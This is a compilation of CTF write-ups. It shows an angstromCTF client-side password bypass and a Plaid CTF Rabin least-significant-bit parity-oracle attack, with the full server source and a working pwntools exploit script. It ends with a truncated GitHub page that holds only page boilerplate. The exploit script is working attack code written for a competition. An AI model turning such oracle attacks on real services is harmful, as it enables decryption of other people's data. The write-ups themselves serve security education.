<h1>angstromCTF 2016 - SuperSecure™</h1>Category: Web Score: 30<h2>Description</h2>Jason made a new SuperSecure™ website, but lost his password. It’s displayed on the admin page. Can you login?<h2>Solving the challenge</h2><span>This challenge uses client side validation, which makes life very easy for us.</span><span>if(username == "admin" && CryptoJS.SHA256(password).toString() == "7de7b2fed84fd29656dff73bc98daef391b0480efdb0f2e3034e7598b5a412ce") { // If they have the correct password go to the admin page. // For extra security, the hash of the password is added into the name window.location.href = "admin_" + CryptoJS.SHA256(password).toString() + ".html";<span>}</span></span><span></span><span>All we had to do was to add the has from the if statement, between admin_ and .html so the file name looked like this</span><span>admin_7de7b2fed84fd29656dff73bc98daef391b0480efdb0f2e3034e7598b5a412ce.html</span><span></span>Visiting that file gave us the following message:Thank you for using web! The flag required for administration is all_javascript_is_open<span>Flag: all_javascript_is_open</span> |
# Plaid CTF 2016: rabit
## Challenge details| Event | Challenge | Category | Points ||:------|:----------|:---------|-------:|| Plaid CTF | rabit | Crypto | 175 |
### Description> Just [give me a bit](challenge), the least significant's enough. Just a second we’re not broken, just very, very insecure. Running at rabit.pwning.xxx:7763
## Write-up
This challenge consisted of the following python server:
```python#/usr/bin/env python
from Crypto.Random import random, atforkfrom Crypto.Util.number import bytes_to_long, long_to_bytesfrom hashlib import sha1
import SocketServer,threading,os,timeimport signal
from util import *from key import *
PORT = 7763FLAG = "REDACTED"msg = """Welcome to the LSB oracle! N = {}\n""".format(N)
def pad(s): assert(len(s) < N.bit_length() / 8) padded = bytes_to_long(s.ljust(N.bit_length()/8, padchar)) while decrypt(padded, p, q) == None: padded += 1 return padded
padded = pad(FLAG)enc_flag = encrypt(padded, N)
assert long_to_bytes(padded)[:len(FLAG)] == FLAGassert decrypt(enc_flag, p, q) == paddedassert decrypt(2, p, q) != None
def proof_of_work(req): import string req.sendall("Before we begin, a quick proof of work:\n") prefix = "".join([random.choice(string.digits + string.letters) for i in range(10)]) req.sendall("Give me a string starting with {}, of length {}, such that its sha1 sum ends in ffffff\n".format(prefix, len(prefix)+5)) response = req.recv(len(prefix) + 5) if sha1(response).digest()[-3:] != "\xff"*3 or not response.startswith(prefix): req.sendall("Doesn't work, sorry.\n") exit()
class incoming(SocketServer.BaseRequestHandler): def handle(self): atfork() req = self.request signal.alarm(60)
def recvline(): buf = "" while not buf.endswith("\n"): buf += req.recv(1) return buf
proof_of_work(req)
signal.alarm(120)
req.sendall(msg)
req.sendall("Encrypted Flag: {}\n".format(enc_flag)) while True: req.sendall("Give a ciphertext: ") x = long(recvline()) m = decrypt(x, p, q) if m == None: m = 0 req.sendall("lsb is {}\n".format(m % 2))
req.close()
class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer): pass
SocketServer.TCPServer.allow_reuse_address = Trueserver = ReusableTCPServer(("0.0.0.0", PORT), incoming)
print "Listening on port %d" % PORTserver.serve_forever()```
When we connect to it it presents us with a simple proof-of-work after which we are given the flag in encrypted form and we can decrypt an arbitrary number of ciphertexts but we are only given the least significant bit of each corresponding plaintext. When we look at the encryption algorithm that's used we can identify it as the [Rabin cryptosystem](https://en.wikipedia.org/wiki/Rabin_cryptosystem).
The problem with leaking the least significant bit of the flag plaintext here is that this presents us with a so-called [parity oracle](http://cryptopals.com/sets/6/challenges/46/) (ie. we can determine the plaintext parity from the LSB). This infoleak can be used in a variety of ways but in this case we can use it completely recover the plaintext.
In [malleable](https://en.wikipedia.org/wiki/Malleability_(cryptography)) cryptosystems like 'schoolbook' RSA and Rabin the property exists that:
![alt eq1](eq1.png)
As such we can arbitrarily multiply the plaintext. Hence if we choose to multiply the ciphertext with `2^2` we double the underlying plaintext of which we will get the LSB. We know that if the remainder after modular reduction is odd this indicates `2*P > N` since N is odd and hence we know a 'modular wraparound' occurred. If the remainder is even we know `2*P < N` since N is odd and hence we know it didn't 'wrap around the modulus'. We can apply this process in incremental fashion to build a [binary-search style](https://en.wikipedia.org/wiki/Binary_search_algorithm) algorithm which adjusts its lower and upper bound according to the results of these iterative multiplications allowing us to recover the plaintext in approximately `O(log2(N))` time with the nice side-effect of giving 'hollywood-style' progressive decryption. The code looks as follows:
```python#!/usr/bin/env python## Plaid CTF 2016# tonnerre (CRYPTO/200)## @a: Smoke Leet Everyday# @u: https://github.com/smokeleeteveryday#
import reimport mathimport stringimport hashlibimport itertoolsfrom pwn import *from Crypto.Util.number import bytes_to_long, long_to_bytes
def encrypt(m, N): return pow(m, 2, N)
def proof_of_work(prefix, plen, endv): # Should be sufficient charset charset = string.letters + string.digits
# Bruteforce bounds lower_bound = plen - len(prefix) upper_bound = plen - len(prefix)
# Find proof-of-work candidate for p in itertools.chain.from_iterable((''.join(l) for l in itertools.product(charset, repeat=i)) for i in range(lower_bound, upper_bound + 1)): candidate = prefix + p assert (len(candidate) == plen)
if ((candidate[:len(prefix)] == prefix) and (hashlib.sha1(candidate).hexdigest()[-6:] == endv)): return candidate
raise Exception("[-] Could not complete proof-of-work...") return
def give_proof_of_work(h, line): prefix, plen, endv = re.findall('starting\swith\s(.+?),\sof\slength\s([0-9]+?),\ssuch\sthat\sits\ssha1\ssum\sends\sin\s(.+?)$', line, re.M|re.I)[0] print "[*] Got proof-of-work request [%s] (%s, %s), finding proof-of-work..." % (prefix, plen, endv) proof = proof_of_work(prefix, int(plen), endv) print "[+] Found proof-of-work: [%s]" % proof h.sendline(proof) return
def extract_n(line): return re.findall('N = (.*?)$', line, re.M|re.I)[0]
def extract_eflag(line): return re.findall(':\s(.*?)$', line, re.M|re.I)[0]
def extract_lsb(line): return re.findall('lsb\sis\s(.*?)$', line, re.M|re.I)[0]
def decryption_oracle(ciphertext): h.recvuntil('Give a ciphertext: ') h.sendline(ciphertext) lsb_line = h.recvline() if not(lsb_line.startswith('lsb is')): raise Exception("[-] Invalid lsb line [%s]" % lsb_line) return extract_lsb(lsb_line)
def lsb_oracle_attack(encrypted_flag, N): m_lowerbound = 0 m_upperbound = N iter_count = math.log(N, 2) # iterate log2(N) times C = encrypted_flag
for i in xrange(0, long(math.ceil(long(iter_count)))): # c = (2^2 mod N * m^2 mod N) = ((2^2 * m^2) mod N) = (2m)^2 mod N C = ((encrypt(2, N) * C) % N) p_lsb = decryption_oracle(str(C))
if (int(p_lsb) == 1): # mul_fac*m is odd so mul_fac*m > N (remainder after modular reduction is odd since N is odd) # Hence m > N/mul_fac so we increase the lowerbound m_lowerbound = ((m_upperbound + m_lowerbound) / 2) elif (int(p_lsb) == 0): # mul_fac*m is even so mul_fac*m <= N # Hence m <= N/mul_fac so we decrease the upperbound m_upperbound = ((m_upperbound + m_lowerbound) / 2)
print "[*] %s" % long_to_bytes(m_upperbound)
return
host = 'rabit.pwning.xxx'port = 7763
welcome_msg = 'Welcome to the LSB oracle!'eflag_msg = 'Encrypted Flag'
h = remote(host, port, timeout = None)
l1 = h.recvline()l2 = h.recvline()
give_proof_of_work(h, l2)
welcome = h.recvline()
if not(welcome.startswith(welcome_msg)): raise Exception("[-] Invalid welcome message [%s]..." % welcome)
N = long(extract_n(welcome))
encrypted_flag_msg = h.recvline()
if not(encrypted_flag_msg.startswith(eflag_msg)): raise Exception("[-] Invalid eflag msg [%s]" % encrypted_flag_msg)
encrypted_flag = long(extract_eflag(encrypted_flag_msg))
print "[*] N: [%s]" % Nprint "[*] C: [%s]" % encrypted_flag
print "[*] Starting LSB oracle attack ..."
flag = lsb_oracle_attack(encrypted_flag, N)
h.close()```
Which after running gives us the flag:
```PCTF{LSB_is_4ll_y0u_ne3d}``` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctfs/ndh2016/night_deamonic_heap at master · ret2libc/ctfs · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="CBF9:87C6:1D553B47:1E36D94B:64122974" data-pjax-transient="true"/><meta name="html-safe-nonce" content="880a42a0b67af14fc3421aa562a4f3c79aeffab15ea2f0d16161498b6e95fbf2" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDQkY5Ojg3QzY6MUQ1NTNCNDc6MUUzNkQ5NEI6NjQxMjI5NzQiLCJ2aXNpdG9yX2lkIjoiOTEyNTE3ODI0MTM1NDcwNTI2OCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="e679fa3ea898e25df835d24f6d1e4c015f9408e99206398027af764c170cc93e" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:55764634" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Write ups. Contribute to ret2libc/ctfs development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/71e7b12426bbcabd4ed327d26b0839f63a8b5c2545a0701161fcc8d085856dfc/ret2libc/ctfs" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctfs/ndh2016/night_deamonic_heap at master · ret2libc/ctfs" /><meta name="twitter:description" content="Write ups. Contribute to ret2libc/ctfs development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/71e7b12426bbcabd4ed327d26b0839f63a8b5c2545a0701161fcc8d085856dfc/ret2libc/ctfs" /><meta property="og:image:alt" content="Write ups. Contribute to ret2libc/ctfs development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctfs/ndh2016/night_deamonic_heap at master · ret2libc/ctfs" /><meta property="og:url" content="https://github.com/ret2libc/ctfs" /><meta property="og:description" content="Write ups. Contribute to ret2libc/ctfs development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/ret2libc/ctfs git https://github.com/ret2libc/ctfs.git">
<meta name="octolytics-dimension-user_id" content="562321" /><meta name="octolytics-dimension-user_login" content="ret2libc" /><meta name="octolytics-dimension-repository_id" content="55764634" /><meta name="octolytics-dimension-repository_nwo" content="ret2libc/ctfs" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="55764634" /><meta name="octolytics-dimension-repository_network_root_nwo" content="ret2libc/ctfs" />
<link rel="canonical" href="https://github.com/ret2libc/ctfs/tree/master/ndh2016/night_deamonic_heap" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
